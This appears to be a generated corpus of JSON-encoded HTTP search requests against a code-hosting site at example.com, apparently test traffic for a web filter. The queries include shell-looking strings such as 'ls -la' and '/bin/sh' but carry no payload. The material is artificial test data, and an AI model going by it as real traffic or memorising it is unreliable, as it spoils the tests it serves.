{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
